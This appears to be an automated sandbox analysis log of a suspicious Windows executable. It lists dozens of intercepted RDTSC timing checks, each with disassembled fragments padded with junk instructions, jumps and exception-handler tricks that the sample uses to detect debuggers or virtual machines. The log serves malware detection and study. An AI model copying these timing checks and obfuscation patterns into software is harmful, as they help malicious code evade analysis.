Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DEB9 second address: 75DECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0160DBD2C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DECD second address: 75DED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DED1 second address: 75DF1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0160DBD2B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F0160DBD2C0h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 pop eax 0x00000016 js 00007F0160DBD2B6h 0x0000001c popad 0x0000001d pop edx 0x0000001e pop eax 0x0000001f pushad 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F0160DBD2C1h 0x00000028 jbe 00007F0160DBD2B6h 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DF1B second address: 75DF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0160DEF330h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760BF7 second address: 760BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760BFB second address: 760BFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760BFF second address: 760C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760C05 second address: 760C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c js 00007F0160DEF326h 0x00000012 push edi 0x00000013 pop edi 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F0160DEF330h 0x0000001d jmp 00007F0160DEF331h 0x00000022 js 00007F0160DEF326h 0x00000028 push ebx 0x00000029 pop ebx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708B00 second address: 708B05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758222 second address: 758228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758228 second address: 75822C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7592E6 second address: 7592F0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0160DEF326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A324 second address: 75A328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A328 second address: 75A3A9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+12457535h], edx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F0160DEF328h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 sub bx, 90CBh 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007F0160DEF328h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 00000014h 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 mov eax, dword ptr [ebp+122D0189h] 0x0000005d push FFFFFFFFh 0x0000005f call 00007F0160DEF32Ch 0x00000064 movsx ebx, ax 0x00000067 pop ebx 0x00000068 push eax 0x00000069 push edi 0x0000006a push ebx 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B0F5 second address: 75B103 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B103 second address: 75B109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B109 second address: 75B10D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C035 second address: 75C04B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF32Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C04B second address: 75C04F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765CA9 second address: 765CB3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0160DEF326h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765431 second address: 76544F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0160DBD2C2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76558D second address: 7655B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0160DEF326h 0x0000000a jmp 00007F0160DEF32Bh 0x0000000f popad 0x00000010 pushad 0x00000011 jnl 00007F0160DEF326h 0x00000017 jnl 00007F0160DEF326h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7655B1 second address: 7655C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0160DBD2BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B8D3 second address: 76B924 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF32Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F0160DEF332h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F0160DEF338h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F0160DEF32Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BA5D second address: 76BA7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F0160DBD2B8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0160DBD2BFh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BA7E second address: 76BABA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F0160DEF32Fh 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 jmp 00007F0160DEF337h 0x00000018 push eax 0x00000019 push edx 0x0000001a jns 00007F0160DEF326h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BABA second address: 76BABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BABE second address: 76BAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c ja 00007F0160DEF328h 0x00000012 pushad 0x00000013 popad 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77086E second address: 77087A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0160DBD2B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77087A second address: 770895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F0160DEF331h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F6AA second address: 76F6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F6B0 second address: 76F6C4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jno 00007F0160DEF326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F0160DEF326h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F6C4 second address: 76F6C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7702E5 second address: 770345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jne 00007F0160DEF326h 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007F0160DEF334h 0x00000018 jmp 00007F0160DEF332h 0x0000001d jns 00007F0160DEF326h 0x00000023 popad 0x00000024 jmp 00007F0160DEF337h 0x00000029 push edx 0x0000002a js 00007F0160DEF326h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7705DE second address: 7705F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F0160DBD2B6h 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0160DBD2BDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77072F second address: 77073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jng 00007F0160DEF326h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775ED9 second address: 775EDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775EDF second address: 775F14 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 jmp 00007F0160DEF32Ch 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jnp 00007F0160DEF346h 0x00000013 jmp 00007F0160DEF338h 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77495F second address: 774965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AAA6 second address: 77AAAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7055F4 second address: 7055FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7055FC second address: 705601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F093 second address: 77F099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F099 second address: 77F09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F35A second address: 77F364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0160DBD2B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F499 second address: 77F49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F49D second address: 77F4AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F0160DBD2B6h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F863 second address: 77F89F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF339h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jl 00007F0160DEF326h 0x00000010 pushad 0x00000011 popad 0x00000012 jnc 00007F0160DEF326h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0160DEF32Bh 0x00000020 push esi 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77FE79 second address: 77FE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787D97 second address: 787D9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787D9B second address: 787DB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F0160DBD2C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E4AA second address: 73E4B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E4B0 second address: 7248C0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0160DBD2BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jng 00007F0160DBD2C6h 0x00000011 jmp 00007F0160DBD2C0h 0x00000016 nop 0x00000017 mov dx, B329h 0x0000001b add dword ptr [ebp+122D1C54h], esi 0x00000021 lea eax, dword ptr [ebp+1248425Fh] 0x00000027 mov dword ptr [ebp+1245D928h], esi 0x0000002d push eax 0x0000002e pushad 0x0000002f push ecx 0x00000030 push edi 0x00000031 pop edi 0x00000032 pop ecx 0x00000033 jmp 00007F0160DBD2C9h 0x00000038 popad 0x00000039 mov dword ptr [esp], eax 0x0000003c movzx ecx, ax 0x0000003f call dword ptr [ebp+122D1B5Eh] 0x00000045 pushad 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E666 second address: 73E66A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E66A second address: 73E66E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73EA25 second address: 73EA2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73EA2B second address: 73EA51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jo 00007F0160DBD2BEh 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73EA51 second address: 73EA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jc 00007F0160DEF330h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73EBF8 second address: 73EBFE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73EBFE second address: 73EC0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0160DEF32Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73EC0C second address: 73EC10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73EC97 second address: 73EC9D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73EE5D second address: 73EE61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73EE61 second address: 73EE70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F0160DEF326h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F1E4 second address: 73F1EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F4AA second address: 73F4C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0160DEF339h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F59E second address: 73F614 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F0160DBD2C6h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jnp 00007F0160DBD2BCh 0x00000014 mov edi, dword ptr [ebp+122D3687h] 0x0000001a lea eax, dword ptr [ebp+124842A3h] 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007F0160DBD2B8h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 00000019h 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a jng 00007F0160DBD2BCh 0x00000040 mov dword ptr [ebp+122D197Ch], edx 0x00000046 nop 0x00000047 jo 00007F0160DBD2BCh 0x0000004d pushad 0x0000004e push ebx 0x0000004f pop ebx 0x00000050 push edi 0x00000051 pop edi 0x00000052 popad 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 js 00007F0160DBD2B8h 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7872F9 second address: 7872FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7872FD second address: 787301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787301 second address: 787334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0160DEF32Dh 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0160DEF334h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787334 second address: 787338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787338 second address: 78733C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78733C second address: 787342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7874B4 second address: 7874BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7874BF second address: 7874E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0160DBD2C4h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7874E0 second address: 7874E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7874E6 second address: 78750A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F0160DBD2B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jng 00007F0160DBD2B6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F0160DBD2BAh 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78763E second address: 787642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A504 second address: 78A513 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0160DBD2B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A657 second address: 78A65D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A825 second address: 78A82B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CC31 second address: 78CC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0160DEF334h 0x0000000b popad 0x0000000c jng 00007F0160DEF339h 0x00000012 push eax 0x00000013 pop eax 0x00000014 jmp 00007F0160DEF331h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CC65 second address: 78CC72 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0160DBD2B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792296 second address: 7922A6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007F0160DEF326h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792414 second address: 792419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792419 second address: 792425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F0160DEF326h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792425 second address: 792429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792429 second address: 79242D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79242D second address: 792444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0160DBD2BEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
